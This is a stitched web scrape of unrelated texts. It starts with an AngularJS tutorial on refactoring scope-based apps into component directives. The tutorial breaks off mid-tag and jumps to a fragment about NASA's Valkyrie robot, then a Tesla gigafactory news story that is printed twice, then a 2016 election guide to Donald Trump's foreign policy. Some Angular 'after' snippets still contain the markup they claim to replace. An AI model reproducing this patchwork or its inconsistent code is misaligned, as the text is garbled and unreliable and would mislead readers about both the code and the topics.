The primary method for sharing data between different parts of the UI is scope inheritance: Something is attached on a parent scope, and then accessed across a number of child scopes. Who gets to see what data is not explicitly defined anywhere. In order to know which parts of the UI read a given attribute, you need to go through all the code (or keep all of it in your head).
The primary method for changing things is through shared mutable state: The objects and arrays that we put on scopes are free for anyone to change. If you want to set a property on an object, the easiest thing to do is just change it in place. This lack of coordination is easy to write, but hard to read and maintain, as the data flow of your app is non-obvious.
I've discussed the problems with Scope Soup architectures at length in a previous article. What I'll add here is that on top of everything, these kinds of apps are architecturally pretty far removed from Angular 2. A component style is not only superior by itself, but will also make your path to Angular 2 easier.
Refactoring to The Rescue
So, if you have a Scope Soup architecture and buy the idea that a Component architecture would be superior, what is there to do? The differences between the two are fairly fundamental, so it seems like a daunting task to go from one to the other.
You could always rewrite your application, of course. But that path is fraught with peril - it always ends up being more work than you expect, for example. In any case most of us just don't have the option of pausing development for a month or two just to "fix our code".
The thing is, I don't think that's necessary. There is a way to change things without disrupting development. And it is not a new idea. It's called refactoring.
Refactoring, as defined by Martin Fowler, is a very specific technique for improving existing code. Fowler described it in the preface of his seminal book as follows:
"Refactoring is the process of changing a software system in such a way that it does not alter the external behavior of code yet improves its internal structure. It is a disciplined way to clean up code that minimizes the chances of introducing bugs. With refactoring you can take a bad design, chaos even, and rework it into well-designed code. Each step is simple, even simplistic. [...] Yet the cumulative effect of these small changes can radically improve the design. It is the exact reverse of the normal notion of software decay."
If we can find a way to componentize our Scope Soup in small and systematic steps, that will significantly increase our chances of success. We are less likely to break things if each change is small enough and if we can test that everything still works after every step.
Also, if we are able to make this work part of our daily routine, we don't need a separate refactoring sprint or project. That's great, because selling such a thing to management is difficult (as it should be in my opinion). Instead, we can make one refactoring today, the next one tomorrow, the next one next week, and stretch the work over a period of time.
The remainder of this article describes a catalog of refactorings that I've found to be useful when componentizing Scope Soup applications. Each refactoring is fairly independent and applies to a particular situation. After each one, the code functions just like it did before, but is a little bit closer to a component style. Applying all of these refactorings across your codebase will over time transform it significantly.
I've found most of these refactorings while working on one particular application. Depending on how similar your app is to that one, you may find these refactorings more or less relevant and easy to apply. I do feel they are fairly universal, but your mileage may vary.
Prerequisite: Controller Aliasing
Before you do anything else, it is a good idea to introduce controller aliasing to each one of the controllers you have in your app. This means using the 'Controller as ctrl' syntax in every ng-controller and the controllerAs attribute in every route and directive that has a controller.
Applying controller aliasing is a good idea regardless of whether you choose to go ahead with these refactorings or not. It just makes it that much easier to see where each piece of data or functionality is coming from. As you then start componentizing your code, you can focus on that instead of spending your time figuring out which controller owns a given attribute.
Component Creation Refactorings
The first group of refactorings is all about finding places where you might want to introduce components into your application, and then introducing them.
As you apply the five refactorings that follow, your code organization is going to start shifting. You'll end up with many small component directories. In each one will be a template, a directive, and a controller. Together they form a component. It becomes easier to find things, and it becomes a lot easier to see what exactly the structure of your application is.
Replace ng-include with Component Directive
You have an ng-include somewhere in your HTML templates. At some point in the past you've decided that this is a separate part of the UI that needs a separate template, and thus it is exactly the kind of part that could easily become its own component.
Motivation
Above all else, this refactoring is a necessary first step toward having a component, and the real payoff comes in the later refactorings.
It does, however, have value in itself too. As Igor Minar put it in a Twitter conversation with Ben Nadel:
@BenNadel ngInclude is to a component what macro is to a function & I think that macros are gross in prog langs (except for preprocessing). — Igor Minar (@IgorMinar) December 12, 2014
ng-include is a relatively low-level feature that pollutes your view with information about template file locations. A component tag is a cleaner way to include something onto a template.
A possible challenge with this refactoring is that ng-include lets you load templates dynamically, since the template URL is an expression and evaluated at runtime. However, I've been able to substitute such cases with things like ng-if / ng-switch, as described in the Ben Nadel article. The resulting code tends to be easier to follow too.
Mechanics
Create a directive, named after the template. Make it use a new inherited scope ( scope: true ).
). Move the template to the same directory with the directive. If needed, rename it to match the directive file name.
Set the template as the directive's template.
Replace the original ng-include with an instance of the directive.
Example
We have a template where another template, foobar.html, is included with ng-include :
index.html
< div ng-include = "'foobar.html'" > </ div >
To replace this, we create a foobar directive. It uses an inherited scope and the foobar.html template:
foobar_directive.js
module.directive( 'foobar', function ( ) { return { scope: true, templateUrl: 'foobar.html' }; });
We make sure that the directive and the template are co-located and that their names match:
components/foobar/ foobar_directive.js foobar.html
Then we can replace the original ng-include with an instance of our new directive:
index.html
< div ng-include = "'foobar.html'" > </ div > < foobar > </ foobar >
Adopt Template Root Controller in Component Directive
You have a component directive, whose template has an ng-controller at or very near the root. This often follows Replace ng-include with Component Directive.
It is very likely that this controller should be considered the component controller instead. Adopt it in the component directive.
Motivation
Templates and controllers often go in pairs, and it is a common pattern to have a template, and on the top of that template an ng-controller. Putting both of these things in the component directive makes the pairing explicit. It solidifies the relationship between the controller and the template.
Mechanics
Move the controller file next to the directive file and make sure their names match.
Add the controller and controllerAs attributes to the directive, so that they match what was defined in the ng-controller.
and attributes to the directive, so that they match what was defined in the. Remove the ng-controller from the template.
Example
After a foobar component directive has been introduced, its template looks like this:
foobar.html
< div ng-controller = "FoobarCtrl as ctrl" > < p > {{ctrl.getText()}} </ p > </ div >
We move and rename the file that contains FoobarCtrl so that it is co-located with the component directive:
components/foobar/ foobar_directive.js foobar_controller.js foobar.html
We then use that controller in the directive, and use the same ctrl alias that the ng-controller was using earlier:
foobar_directive.js
module.directive( 'foobar', function ( ) { return { scope: true, controller: 'FoobarCtrl', controllerAs: 'ctrl', templateUrl: 'foobar.html' }; });
We can now remove the whole ng-controller wrapper from the template:
foobar.html
< div ng-controller = "FooBarCtrl as ctrl" > < p > {{ctrl.getText()}} </ p > </ div >
Alternatively, you could keep the element for styling purposes and just remove the ng-controller attribute.
Replace ng-controller with Component Directive
You have an ng-controller somewhere other than the root of a template. This is a good sign that there might be a component hiding here.
Just like ng-include, ng-controller often demarcates an area of the template that's somehow independent, or separate from its parents and siblings. If it is, it should be a component.
Motivation
Like Replace ng-include with Component Directive, this is a first step towards a component more than anything else. In later refactorings, the transformation will be completed.
You do immediately get a slightly cleaner template, since you don't have to encode the name and alias of a controller in the HTML. You can just apply a component element.
Mechanics
Create a directive, named after the controller. Make it use an inherited scope ( scope: true ).
). Move the controller to the same directory with the directive.
Set the controller as the directive's controller. Also set the controllerAs alias so that it matches the alias used in the ng-controller
. Also set the alias so that it matches the alias used in the Replace the ng-controller with an instance of the component directive.
Example
We have an element with an ng-controller somewhere in a template. It is instantiating the FoobarCtrl controller and aliasing it as ctrl :
index.html
< div ng-controller = "FoobarCtrl as ctrl" class = "my-foo-bar" > < p > {{ctrl.getText()}} </ p > </ div >
We create a new directive called foobar, which creates an inherited scope and uses the FoobarCtrl, also aliasing it as ctrl :
foobar_directive.js
module.directive( 'foobar', function ( ) { return { scope: true, controller: 'FoobarCtrl', controllerAs: 'ctrl' }; });
The new directive and the existing controller are moved to the same location. We also make sure they have the same name prefix:
components/foobar/ foobar_directive.js foobar_controller.js
And finally, in our original template we can replace the ng-controller with an instance of the foobar component:
foobar.html
< div ng-controller = "FoobarCtrl as ctrl" class = "my-foo-bar" > < foobar class = "my-foo-bar" > < p > {{ctrl.getText()}} </ p > </ foobar > </ div >
Move Markup to Component Template
You have a component directive with a controller. In the child nodes of the component element there are expressions that use the component controller. This is most often the case right after you've applied Replace ng-controller with Component Directive:
< foobar > < p > {{ctrl.getText()}} </ p > </ foobar >
Although this works just fine, it looks a bit odd since ctrl is not defined in this template. It comes from the foobar component, but you can't see that by looking at the template.
This is a sign that the child elements here really belong to the component itself, and should be moved inside the component's template.
Motivation
When a component directive has no template, but the component element does have children, it is often the case that these children really belong to the component template.
This may not always be the case. But if the child elements have expressions that refer to the component controller, that's a good sign that they should be in the component template.
Sometimes the child elements are partially part of the component, but other parts are not. In this case, consider using transclusion.
Mechanics
Create a template file or inline template for the component directive, and configure it with template or templateUrl.
or. Move the HTML content from inside the component element to the new template. The component element is left blank.
Occasionally part of the HTML content would still be logically a better fit for the original template. In that case, instead of the second step above, do the following:
Configure transclusion: true for the component directive.
for the component directive. Choose the part of the HTML template to move to the component and the part to keep in place.
Copy the HTML content from inside the component element to the new template.
Remove the part of the copied content that you want to leave in the original location. Replace it with an ng-transclude.
. Modify the original template so that the only part that remains is the part you chose to leave there.
Basic Example
Continuing from the previous example, we're in a situation with markup inside a component element that doesn't really belong there:
index.html
< foobar > < p > {{ctrl.getText()}} </ p > </ foobar >
We'll create a template file for the component directive:
components/foobar/ foobar_directive.js foobar_controller.js foobar.html
We should also reference this new template from the directive:
foobar_directive.js
module.directive( 'foobar', function ( ) { return { scope: true, controller: 'FoobarCtrl', controllerAs: 'ctrl', templateUrl: 'foobar.html' }; });
The template file is populated with what was previously inside the directive element:
foobar.html
< p > {{ctrl.getText()} </ p >
The directive element itself becomes empty:
index.html
< foobar > < p > {{ctrl.getText()}} </ p > </ foobar >
Example with Transclusion
After applying Replace ng-controller with Component Directive, we're left with the following markup in the original template:
index.html
< foobar > < h2 > {{ctrl.getTitle()}} </ h2 > < p > {{mainCtrl.getText()}} </ p > </ foobar >
The component has content that logically belongs to its own template ( ctrl.getTitle() ), but also content that comes from the outer scope, where we have some other controller ( mainCtrl.getText() ).
We can use transclusion to support both cases. Again, we'll first create a template file for the component directive:
components/foobar/ foobar_directive.js foobar_controller.js foobar.html
We reference this new template from the directive. While doing that, we also enable transclusion:
foobar_directive.js
module.directive( 'foobar', function ( ) { return { transclude: true, scope: true, controller: 'FoobarCtrl', controllerAs: 'ctrl', templateUrl: 'foobar.html' }; });
The template file is populated with the part of the original template that we want to put inside the component. For the other part, we add an ng-transclude placeholder:
foobar.html
< h2 > {{ctrl.getTitle()}} </ h2 > < p ng-transclude > </ p >
In the directive element itself we leave just the part that will be transcluded:
index.html
< foobar > < h2 > {{ctrl.getTitle()}} </ h2 > < p > {{mainCtrl.getText()}} </ p > </ foobar >
Wrap Markup in Component Directive
You have a big template, with no ng-controller s or ng-include s inside it to demarcate places where Replace ng-include with Component Directive or Replace ng-controller with Component Directive would apply.
There are likely to be parts of such templates that would make sense to extract into separate templates. Instead of using ng-include, you can introduce components in these cases.
Motivation
You want your templates to be small enough to be manageable, and to form cohesive units. Whereas in the past you may have used ng-include to extract smaller templates from bigger ones, using a component is not only a higher-level abstraction, but also makes it easier to later make the separated parts full-blown components with their own controllers and interface boundaries.
Mechanics
Create a new component directive. Make it use an inherited scope.
Create a template file or inline template for the directive, and add it to the directive with template or templateUrl.
or. Move the piece of HTML you wanted to extract from the original template to the new template.
Replace the original HTML with an instance of the new directive.
If there's some part inside the extracted HTML that you'd rather leave in place, you can use transclusion. Instead of the last two steps above, do the following:
Add transclude: true to the new directive.
to the new directive. Copy the piece of HTML you wanted to extract from the original template to the new template.
In the new template, replace the part you wanted to leave in place with an ng-transclude placeholder tag.
placeholder tag. Replace the original HTML with an instance of the new directive. Put the part you wanted to leave in place inside the new directive tag.
Basic Example
We have, as part of some bigger template, a <ul> element that lists some data:
index.html
< div > < h1 > Foobars </ h1 > < ul > < li ng-repeat = "foo in ctrl.bars" > < img ng-src = "foo.imageUrl" /> {{foo.text}} </ li > </ ul > </ div |
to grow in terms of engineering and nanotechnology that is specific to building robots for these specific purposes. The robots in the challenge will need to prove the extent of their
capabilities such as walking over uneven terrain, climbing a ladder and using tools.
The design team took several important functions of the body and made sure that parts were easily replaceable. For example, the battery in the backpack of the robot can be replaced very easily, within two minutes. They
also designed the robot’s limbs as removable parts that can be swapped out for new parts in minutes. What’s more, they designed the left and right arms to be identical in construction, so that right and left arms can be swapped if needed.
For the competition itself, the robots will be graded on how well they can complete designated tasks the kinds that first responders would face in actual natural and man-made disasters. Perhaps Valkyrie will be the robot in the challenge with the highest amount of embedded intelligence. Not surprisingly, Valkyrie will enter the competition with lots of onboard computing. Sensors are generously spread all over
Valkyrie. There are cameras and LIDAR (a remote sensing method, LIDAR stands for Light Detection and Ranging) in the head, cameras in the abdomen, forearms, knees and feet. Valkyrie’s clothing consists of panels of fabric-wrapped foam armor which can protect Valkyrie from falls and impacts. The clothing was built on site by a dedicated design staff.
Only a few years from now these robots will be working with first responder teams in response to disasters while also being sent to Mars first to help setup the initial infrastrucuture for colonization, while then working with humans collaboratively when humans arrive a few years later. Each year, the price of building robots comes down, thus why there are more and more robot competitions, and particularly more
competitions for the younger generation. We must build robots to replace some human work, and also build specific robots to supplement and lead our physical capabilities, such as this article describes. As
humans we will always lead ourselves to danger in some way. Having robots by our side and integrated robotic technologies integrated into our bodies, will allow us to have less death and destruction from a
human loss standpoint, and will allow more of us to live through disasters, both natural and man-made. As long as we continue to fund the converging technologies of biotechnology, cognitive science,
nanotechnology, and engineering.
Robots will help us live through disaster, now and in the near-future!
Original article by: Transhumanist Librarian, and can be found here: http://wp.me/p2s1yX-e1
TweetTesla gigafactory: Two officials confirm Nevada will get the plant
According to news reports, Tesla Motors Inc. has selected Nevada for the site of its planned $5 billion “gigafactory." Tesla last month confirmed that it had broken ground in Reno. less Sunset lights downtown Reno, Nevada with the Sierra Nevada in the background. According to news reports, Tesla Motors Inc. has selected Nevada for the site of its planned $5 billion “gigafactory." Tesla... more Sunset lights downtown Reno, Nevada with the Sierra Nevada in the background. Photo: Jerry Lara, San Antonio Express-News Photo: Jerry Lara, San Antonio Express-News Image 1 of / 30 Caption Close Tesla gigafactory: Two officials confirm Nevada will get the plant 1 / 30 Back to Gallery
SAN ANTONIO — Tesla Motors Inc. has selected Nevada as the site for its planned $5 billion “gigafactory,” an economic development prize expected to generate 6,500 jobs, two local officials confirmed Wednesday.
That could mean Texas, California, Arizona and New Mexico — also competitors for the lithium-ion battery factory — are out of the running.
However, a person familiar with the company's plans told the Associated Press that a second site still would be prepared, in case Nevada is not able to deliver the incentives it has promised — or possibly to build a second factory.
Four months ago, experts and people involved with the site selection had said San Antonio and Reno, Nevada, were the strongest contenders for the project.
Co-founder and CEO Elon Musk and others from Tesla will attend a news conference about the gigafactory with Nevada Gov. Brian Sandoval, Tesla spokesman Simon Sproule told Bloomberg News. The event is set for 3 p.m. today in Carson City.
He declined to elaborate on what will be announced.
Sandoval's office told the Associated Press only that the governor will make a “major economic development announcement.”
Tesla said in late July that it had begun initial work on a potential site near Reno.
Tesla's site selection process at times left San Antonio economic development officials in the dark about the direction the automaker was heading.
While most companies carry out their site searches in secret, Tesla essentially announced its short list of states — all in the Southwest — in late February.
County Judge Nelson Wolff said Wednesday he wouldn't be surprised if Reno won out given its four-hour proximity to Silver Peak, Nevada, home of North America's only commercially active lithium mine.
“It really gives them a big advantage, because if you have to ship it, you have to ship it by rail, and that's a hazardous product,” Wolff said. “We always kind of thought that gave them an edge by being right next to the lithium mine.”
Wolff said he understood Tesla was going to wait until December to make a final decision.
“That's the last thing we've heard over here, anyway,” he said.
Mario Hernandez, president of the San Antonio Economic Development Foundation, said a nondisclosure agreement prevented him from commenting about Tesla.
In February, though, he confirmed Tesla had submitted an inquiry to the state and that the company wanted to go through state-level entities.
A spokeswoman for Gov. Rick Perry on Wednesday directed questions to Tesla officials.
San Antonio-area officials had offered economic incentives valued at $800 million, two people familiar with the package told the San Antonio Express-News in May.
In a July 31 call with Wall Street analysts, Musk estimated Tesla would fund about 40 percent to 50 percent of the gigafactory's total $5 billion price tag. Panasonic, which had signed an agreement as a lithium-ion cell supplier for Tesla, would chip in about 30 percent to 40 percent.
As for the state Tesla selects, he expected an investment of up to 10 percent, or $400 million to $500 million.
Despite Texas' ability to deliver on incentives, a state law that prohibits automakers from selling their vehicles directly to consumers may have worked against its bid. Manufacturers must sell through franchised auto dealers.
Tesla sells directly to consumers under its business model. Musk failed last year to persuade Texas lawmakers to change the rules.
Tesla needs the factory to make cheaper batteries for its Model 3, a mass-market electric car the company hopes to sell by 2017 for about $35,000. Musk has estimated the gigafactory could slash the cost of lithium-ion batteries, which are the most expensive component of electric vehicles, by more than 30 percent.
It currently sells the Model S, which starts at about $70,000.
“This is a critical step in Elon Musk's long-term goal of creating a viable, high-volume electric car,” Kelly Blue Book senior analyst Karl Brauer said in an email. “The battery pack makes up a sizable portion of any electric car's total price, but if Tesla can reduce the cost of this component with its own factory it has a real shot at producing a $30,000 electric car with a 200-plus-mile range.”
In Reno's favor are its proximity to Tesla's assembly plant in Fremont, California, and its sunny climate — “supporting Musk's desire to incorporate solar energy into the plant's manufacturing process,” Brauer added.
Within weeks of announcing the project, Musk said California — where Tesla and two other Musk-related companies, SpaceX and SolarCity, are headquartered — wasn't in the running, partly out of concern that the state's regulators would knock construction of the plant off schedule.
By June, with Gov. Jerry Brown's office in talks with Tesla and state lawmakers talking incentives, California joined the list of contenders.
Also, instead of announcing a finalist for the project, Musk said the company would select multiple sites for ground-breakings in case work at one location ran into obstacles.
Local officials and site-selection experts had considered San Antonio strong competition for the gigafactory, which is expected to take up 10 million square feet of space on at least 500 acres. The city's main selling point was city-owned CPS Energy.
The utility could offer deep discounts on Tesla's electricity rates and meet the manufacturer's wind and solar energy requirements for the facility. CPS also could partner with the company to test the renewable energy storage units that Tesla said the gigafactory would produce.
Then-Mayor Julián Castro pushed hard for the project behind the scenes, according to several sources familiar with the recruitment effort. On March 26, two Tesla executives met in secret with Castro, Wolff and CPS chief executive Doyle Beneby at City Hall.
But local officials heard little from the company in late spring and early summer.
[email protected] The Associated Press contributed to this report.
Tesla Motors Inc. has selected Nevada as the site for its planned $5 billion “gigafactory,” an economic development prize expected to generate 6,500 jobs, two local officials confirmed Wednesday.
That could mean Texas, California, Arizona and New Mexico — also competitors for the lithium-ion battery factory — are out of the running.
However, a person familiar with the company's plans told the Associated Press that a second site still would be prepared, in case Nevada is not able to deliver the incentives it has promised — or possibly to build a second factory.
Four months ago, experts and people involved with the site selection had said San Antonio and Reno, Nevada, were the strongest contenders for the project.
Co-founder and CEO Elon Musk and others from Tesla will attend a news conference about the gigafactory with Nevada Gov. Brian Sandoval, Tesla spokesman Simon Sproule told Bloomberg News. The event is set for 3 p.m. today in Carson City.
He declined to elaborate on what will be announced.
Sandoval's office told the Associated Press only that the governor will make a “major economic development announcement.”
Tesla said in late July that it had begun initial work on a potential site near Reno.
Tesla's site selection process at times left San Antonio economic development officials in the dark about the direction the automaker was heading.
While most companies carry out their site searches in secret, Tesla essentially announced its short list of states — all in the Southwest — in late February.
County Judge Nelson Wolff said Wednesday he wouldn't be surprised if Reno won out given its four-hour proximity to Silver Peak, Nevada, home of North America's only commercially active lithium mine.
“It really gives them a big advantage, because if you have to ship it, you have to ship it by rail, and that's a hazardous product,” Wolff said. “We always kind of thought that gave them an edge by being right next to the lithium mine.”
Wolff said he understood Tesla was going to wait until December to make a final decision.
“That's the last thing we've heard over here, anyway,” he said.
Mario Hernandez, president of the San Antonio Economic Development Foundation, said a nondisclosure agreement prevented him from commenting about Tesla.
In February, though, he confirmed Tesla had submitted an inquiry to the state and that the company wanted to go through state-level entities.
A spokeswoman for Gov. Rick Perry on Wednesday directed questions to Tesla officials.
San Antonio-area officials had offered economic incentives valued at $800 million, two people familiar with the package told the San Antonio Express-News in May.
In a July 31 call with Wall Street analysts, Musk estimated Tesla would fund about 40 percent to 50 percent of the gigafactory's total $5 billion price tag. Panasonic, which had signed an agreement as a lithium-ion cell supplier for Tesla, would chip in about 30 percent to 40 percent.
As for the state Tesla selects, he expected an investment of up to 10 percent, or $400 million to $500 million.
Despite Texas' ability to deliver on incentives, a state law that prohibits automakers from selling their vehicles directly to consumers may have worked against its bid. Manufacturers must sell through franchised auto dealers.
Tesla sells directly to consumers under its business model. Musk failed last year to persuade Texas lawmakers to change the rules.
Tesla needs the factory to make cheaper batteries for its Model 3, a mass-market electric car the company hopes to sell by 2017 for about $35,000. Musk has estimated the gigafactory could slash the cost of lithium-ion batteries, which are the most expensive component of electric vehicles, by more than 30 percent.
It currently sells the Model S, which starts at about $70,000.
“This is a critical step in Elon Musk's long-term goal of creating a viable, high-volume electric car,” Kelly Blue Book senior analyst Karl Brauer said in an email. “The battery pack makes up a sizable portion of any electric car's total price, but if Tesla can reduce the cost of this component with its own factory it has a real shot at producing a $30,000 electric car with a 200-plus-mile range.”
In Reno's favor are its proximity to Tesla's assembly plant in Fremont, California, and its sunny climate — “supporting Musk's desire to incorporate solar energy into the plant's manufacturing process,” Brauer added.
Within weeks of announcing the project, Musk said California — where Tesla and two other Musk-related companies, SpaceX and SolarCity, are headquartered — wasn't in the running, partly out of concern that the state's regulators would knock construction of the plant off schedule.
By June, with Gov. Jerry Brown's office in talks with Tesla and state lawmakers talking incentives, California joined the list of contenders.
Also, instead of announcing a finalist for the project, Musk said the company would select multiple sites for ground-breakings in case work at one location ran into obstacles.
Local officials and site-selection experts had considered San Antonio strong competition for the gigafactory, which is expected to take up 10 million square feet of space on at least 500 acres. The city's main selling point was city-owned CPS Energy.
The utility could offer deep discounts on Tesla's electricity rates and meet the manufacturer's wind and solar energy requirements for the facility. CPS also could partner with the company to test the renewable energy storage units that Tesla said the gigafactory would produce.
Then-Mayor Julián Castro pushed hard for the project behind the scenes, according to several sources familiar with the recruitment effort. On March 26, two Tesla executives met in secret with Castro, Wolff and CPS chief executive Doyle Beneby at City Hall.
But local officials heard little from the company in late spring and early summer.According to Hillary Clinton and her supporters, Donald Trump is crazy friendly with Russian president Vladimir Putin, a bad man who hates America and threatens its interests, and therefore Trump cannot be trusted even with U.S. intelligence secrets, much less the presidency. He is so thin-skinned and impetuous that he could drop nuclear bombs on someone who criticized him, so insulting to nearly everyone outside his family that the country would become dangerously isolated during his presidency, unable to address challenges like ISIS that we cannot take on alone. Trump’s incendiary rhetoric about Muslims is a potent recruiting tool for jihadists. And he is so unconcerned about the welfare of others that he wouldn’t blink at severing defense ties with allies who don’t send us a lot more cash, provoking them to create or expand their own arsenals of nuclear arms – which is actually okay with him. His campaign slogan might as well be, let global chaos reign.
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According to Donald Trump and his supporters, Hillary Clinton is a seminal figure in Washington’s corrupt establishment, which has weakened our military and made the country a patsy of friends and foes alike, unwilling to stand up to the likes of Saudi Arabia, Mexico, China, and Japan, whether the issue is immigration, trade or national security. She’s a prisoner of monied interests, not just Wall Street powerbrokers, but cringe-worthy countries like Qatar, which gave huge sums to the Clinton Foundation. And she’s been so careless handling national secrets that she could have – and should have – been jailed for ignoring the State Department’s own secrecy rules and for defying a congressional demand to surrender all her emails. Her campaign slogan might as well be, I’m going to look after my friends and I’m not going to tell you anything.
These are some of the milder claims being made during this year’s acrimonious race to become America’s 45th president. And while national security issues might not be foremost in voters’ minds on Nov. 8, the debates over America’s proper place in the world have touched on broader questions about the candidates’ character, integrity, and temperament.
And so the Center has prepared a voter-friendly guide to what the contenders really stand for on defense and foreign policy and how they will likely act if they wind up as the occupant of the Oval Office.
Today, we look at Donald Trump. Tomorrow, we look at Hillary Clinton.
So what would Trump do, exactly? His rhetoric on foreign policy issues has been all over the map.
Trump has tenuous connections to the Republican Party, but he remains the party standard-bearer. And so it’s worth citing a few of the national security goals enumerated in the party’s platform: Lifting a congressional cap on defense spending; expanding the Army; deploying a more robust missile defense; and spending more in particular on nuclear weapons. The Obama administration’s nuclear arms deal with the Russians, the platform says, has flimsy verification provisions and wrongly allows Russia “to build up its nuclear arsenal while reducing ours.” The platform also states: “We will meet the return of Russian belligerence with the same resolve that led to the collapse of the Soviet Union…We will not accept any territorial change in Eastern Europe imposed by force.”
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Trump has separately discussed adding more troops to the Marines as well as the Army, and boosting the number of U.S. military ships and planes. He hasn’t detailed how to pay for all this, except to suggest that he would negotiate lower prices. Weapons, he says, “come in at costs that are so far above what they were supposed to be, because we don’t have people that know what they’re doing.” He says our military power overseas should be focused on defeating the Islamic State (ISIS).
Okay, but let’s get to the urgent stuff: Is Trump a Russian agent, or as Clinton suggested at the Alfred E. Smith dinner in New York on Oct. 20, akin to the horse “Vladimir Putin rides around on”?
This issue is more than a little odd. Typically, it’s been Republican presidential candidates who have inveighed against Democrats for supporting rapprochement with the country Mitt Romney called “our number one geopolitical foe” in 2012. Democratic candidates have usually responded that it’s the Republicans who don’t understand the need for global peace – Obama reminded Romney in a debate that year “the Cold War’s been over for 20 years.” This year, these stances have been turned upside down, with Clinton depicting Russia as an aggressive and meddling adversary bent on undermining our democracy, and Trump describing the Russian leader as a future partner that he is eager to meet between winning the election and taking the oath of office.
So what’s the deal here? Is Trump a modern-day Manchurian candidate, with Putin secretly pulling his strings? Sen. Minority Leader Harry Reid (D-Nev.) suggested at one point that Trump shouldn’t be given the usual pre-election briefing by U.S. intelligence officials because he’s so dangerous.
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Trump has visited Moscow, where he tried to do some business, but he admitted during the second debate that “I know nothing about Russia – I know about Russia, but I know nothing about the inner workings of Russia.” From a distance, Trump has admired Putin for being “very much of a leader” and someone with robust popularity. But Trump has an exaggerated sense of Putin’s return admiration, believing that Putin called him brilliant and a genius; actually Putin called him talented and used a Russian word correctly translated as “colorful” or bold rather than brilliant.
“If we got along well, that would be good,” Trump said of Putin at the third debate. He also has said, with an odd casualness, that “I don’t happen to like the system” in Russia, but he hasn’t acknowledged the systematic stifling of dissent under Putin, which led to street protests by tens of thousands of citizens between 2011 and 2013 (Putin has alleged that Clinton, while at the State Department, helped finance and stoke those demonstrations, giving him ample motive to try to subvert her campaign).
Some of those who are close to Trump or contributors to his campaign do have ties to Moscow. A Russian-American businessman, Simon Grigorievich Kukes, who was installed as the head of the Yukos oil empire after Putin’s government ousted one of his critics from that job, contributed more than $150,000 to Trump’s campaign and a related joint fundraising committee, according to OpenSecrets.org, a nonpartisan group. A businessman who Trump identified earlier this year as a foreign policy adviser, Carter Page, has worked with state-owned Russian energy companies subsequently punished by U.S. sanctions — which Trump might want to lift. Moreover, Trump’s campaign manager for four months this year, Paul Manafort—a longtime consultant to dictators and others of ill repute on the international stage—resigned from his managerial post shortly after new Ukrainian documents surfaced that linked him to the political party of a Putin ally.
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So Trump is likely not as hostile to Russia as many in Washington. Does this mean he’s in the Russians’ camp, as Clinton’s campaign has claimed?
Two years ago, Trump said “we should definitely do sanctions” in response to Russia’s takeover of Crimea by military force, rather than annexation through peaceful political means. (The Russian military’s occupation preceded a pro-Russian vote by Crimea’s population, representing a classic “rigged election” of the type Trump has been warning about at home.) But more recently, breaking with a broad consensus in Washington and allied European capitals, Trump has noted neutrally that “the people of Crimea…would rather be with Russia than where they were. And you have to look at that.” He said his administration “will be looking at” lifting anti-Russian sanctions.
Also, using exceptionally awkward phrasing, Trump said in a July 31 television interview that Putin’s “not going to go into Ukraine, all right? You can mark it down.” When the moderator gently responded that “he's already there, isn't he?" Trump replied, "OK— well, he's there in a certain way.” He then cleaned up his remarks with tweets saying he meant any further into Ukraine, following an established pattern of loose talk-followed-by-clarifications that seems likely to persist if Trump reaches the White House.
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In another stark dissent from Washington consensus, Trump has repeatedly refused to blame Putin’s government for the computer hacking of email accounts for Clinton aides and Democratic Party officials. He falsely insisted during the third debate that “our country has no idea” who did it, even though, before that event, the Obama administration pointedly said its intelligence community knows Russia was the culprit. Adm. Michael Rogers, the head of the National Security Agency, reiterated that view at a Baltimore cybersecurity symposium on Oct. 20.
Does any of this make Trump disloyal? Clinton has suggested as much, saying that Trump has “shown a very troubling willingness to back up Putin, to support Putin” and that this “raises national security issues.”
Trump’s remarks make it clear he would interrupt the current trajectory – the declining trajectory – of U.S.-Russian relations. But the claim that President Trump would deliberately pursue Russia’s interests instead of what he considers U.S. interests, is utterly unsubstantiated. Trump himself hasn’t offered an articulate rebuttal: “No puppet, no puppet,” he said during the third debate, as if he was channeling one of Alec Baldwin’s Saturday Night Live parodies. But the fact that he would start from a different place than Clinton in a future negotiation with Putin does not mean he intends to capitulate; it just means the outcome could be different. “Trump is not a foreign agent,” says Masha Gessen, a Russian-American journalist who wrote a widely-praised, critical biography of Putin.
But didn’t Trump actually invite Russia to use a computer hack to find and divulge the tens of thousands of official emails Clinton’s aides destroyed? He actually said, "Russia, if you're listening, I hope you're able to find” them. This is like saying, come spy on us. Clinton has even charged him with “giving aid and comfort to our adversaries,” like a traitor.
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That’s hardly credible. Russia does not need an invitation to spy; both countries do this all the time, as a matter of routine. And Trump has said he was just being sarcastic.
Is this believable?
Yes. He’s not a professional politician or a diplomat, or even been a close observer of America’s international relations. As everyone now knows, he regularly talks in public as if he’s sitting at a college fraternity’s bar late on a Saturday night, after a few beers; he taunts, teases, jokes, and puts all his resentments and raw emotions on display. These traits endear him to his supporters, and make others pull their hair out.
Trump has collected the public endorsement of 88 former retired U.S. generals and admirals. Isn’t that an impressive haul?
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It’s actually less than a fifth of the number of admirals and generals who publicly supported Mitt Romney in 2012, according to a tally by the Atlantic. And while it includes several former U.S. Army commanders in Europe and others who held senior Pentagon posts, many of those involved may have been inspired by a single issue: their opposition to a U.N.-approved deal to control and monitor Iran’s nuclear program. Roughly 60 percent of the Trump military signers also appeared on a September 2015 letter opposing that deal, according to the Center’s estimate. The anti-Iran deal letter was organized by a member of the board of advisers to the Jewish Institute for National Security. The Trump-supporting letter, according to his campaign, was also organized by a member of the Institute’s board.
Taking an opposite tack, 50 national security experts who said they worked for Republican presidents – including 24 who had jobs at the White House and the National Security Council — signed a joint letter in August declaring Trump unqualified and claiming he would put the country’s security at risk. They further said he had dangerous personal qualities and called him ignorant of U.S. laws and vital national interests.
Didn’t they also say he lacked “the temperament” to be President?
Yes.
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So this pulls us into a whole new bucket of issues. What are we to make of the Clinton campaign’s claim that Trump is simply too dangerous to be given access to nuclear weapons? Could he really, singularly, make an unlivable mess of the planet in a fit of pique?
It might seem odd, in a democracy built on pluralism, that nuclear weapons actually function as the private arsenal of a single American – under what former launch control officer Bruce Blair has referred to as “a nuclear monarchy.” Only the president can launch a nuclear attack (others can step in if he dies), and the military’s nuclear officers are rigorously trained to follow a president’s precise orders. Although the nation’s defense secretary is supposed to confirm the order before it’s carried out, he or she doesn’t actually have veto power; any resistance would constitute insubordination. That’s why Richard Nixon is said to have once bragged, as his impeachment neared, that “I can go into my office and pick up the telephone, and in 25 minutes 70 million people will be dead.”
